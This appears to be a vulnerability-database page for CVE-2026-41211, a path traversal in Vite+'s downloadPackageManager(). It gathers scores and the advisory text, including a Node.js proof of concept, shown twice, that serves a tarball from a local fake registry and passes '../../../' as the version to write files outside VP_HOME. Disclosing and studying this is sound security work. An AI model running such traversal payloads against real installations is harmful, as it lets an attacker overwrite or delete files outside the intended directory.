Every CVE Search/ Get API key

CVE-2026-41211

`vite-plus/binding` has path traversal `downloadPackageManager()` that leads to writes outside of `VP_HOME`

8.4 HighFix available

Vite+ is a unified toolchain and entry point for web development. Prior to version 0.1.17, downloadPackageManager() accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments or an absolute path to escape the VP_HOME/package_manager/<pm>/ cache root and make Vite+ delete, replace, and populate directories outside the intended cache location. Version 0.1.17 contains a patch.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.31%Up 0.3 points since Apr 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.4

`vite-plus/binding` has path traversal `downloadPackageManager()` that leads to writes outside of `VP_HOME`

Vite+ is a unified toolchain and entry point for web development. Prior to version 0.1.17, downloadPackageManager() accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments or an absolute path to escape the VP_HOME/package_manager/<pm>/ cache root and make Vite+ delete, replace, and populate directories outside the intended cache location. Version 0.1.17 contains a patch.

Record
CVE-2026-41211
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-25163 8.4

Vite+ is a unified toolchain and entry point for web development. Prior to version 0.1.17, downloadPackageManager() accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments or an absolute path to escape the VP_HOME/package_manager/<pm>/ cache root and make Vite+ delete, replace, and populate directories outside the intended cache location. Version 0.1.17 contains a patch.

Record
EUVD-2026-25163
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-33r3-4whc-44c2 8.4

Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME

Summary

downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.

Details

The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.

That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:

  1. computes the final target directory from the raw version string,
  2. removes any pre-existing directory at that target,
  3. renames the extracted package into that location, and
  4. writes executable shim files there.

Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.

PoC

import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";

const tgz = Buffer.from(
  "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
  "base64",
);

const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");

process.env.VP_HOME = vpHome;

const server = http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "application/octet-stream" });
  res.end(tgz);
});

await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;

const result = await downloadPackageManager({
  name: "pnpm",
  version,
});

server.close();

console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));

// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created

Impact

A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.

Mitigating factors

  • Normal CLI usage is not affected. All built-in CLI paths (vp create, vp migrate, vp env) validate the version string via semver::Version::parse() before it reaches downloadPackageManager().
  • The vulnerability is only reachable by programmatic callers that import vite-plus/binding directly and pass an untrusted version string.
  • No known downstream consumers pass untrusted input to this function.
  • Exploitation requires the attacker to already be executing code in the same Node.js process.
Record
GHSA-33r3-4whc-44c2
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
NVD 8.4

Vite+ is a unified toolchain and entry point for web development. Prior to version 0.1.17, downloadPackageManager() accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments or an absolute path to escape the VP_HOME/package_manager/<pm>/ cache root and make Vite+ delete, replace, and populate directories outside the intended cache location. Version 0.1.17 contains a patch.

Record
CVE-2026-41211
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSV 8.4

`vite-plus/binding` has path traversal `downloadPackageManager()` that leads to writes outside of `VP_HOME`

Vite+ is a unified toolchain and entry point for web development. Prior to version 0.1.17, downloadPackageManager() accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments or an absolute path to escape the VP_HOME/package_manager/<pm>/ cache root and make Vite+ delete, replace, and populate directories outside the intended cache location. Version 0.1.17 contains a patch.

Record
CVE-2026-41211
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-33r3-4whc-44c2 8.4

Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME

Summary

downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.

Details

The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.

That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:

  1. computes the final target directory from the raw version string,
  2. removes any pre-existing directory at that target,
  3. renames the extracted package into that location, and
  4. writes executable shim files there.

Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.

PoC

import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";

const tgz = Buffer.from(
  "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
  "base64",
);

const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");

process.env.VP_HOME = vpHome;

const server = http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "application/octet-stream" });
  res.end(tgz);
});

await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;

const result = await downloadPackageManager({
  name: "pnpm",
  version,
});

server.close();

console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));

// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created

Impact

A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.

Mitigating factors

  • Normal CLI usage is not affected. All built-in CLI paths (vp create, vp migrate, vp env) validate the version string via semver::Version::parse() before it reaches downloadPackageManager().
  • The vulnerability is only reachable by programmatic callers that import vite-plus/binding directly and pass an untrusted version string.
  • No known downstream consumers pass untrusted input to this function.
  • Exploitation requires the attacker to already be executing code in the same Node.js process.
Record
GHSA-33r3-4whc-44c2
CVSS 4.0
8.4 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vite-plus
npm
through 0.1.16
0.1.17
vite-plus
npm
before 0.1.17
0.1.17

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41211 is a high vulnerability (CVSS 8.4) in Voidzero-dev Vite-plus, published April 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in vite-plus 0.1.17.

References

MoveEnter Open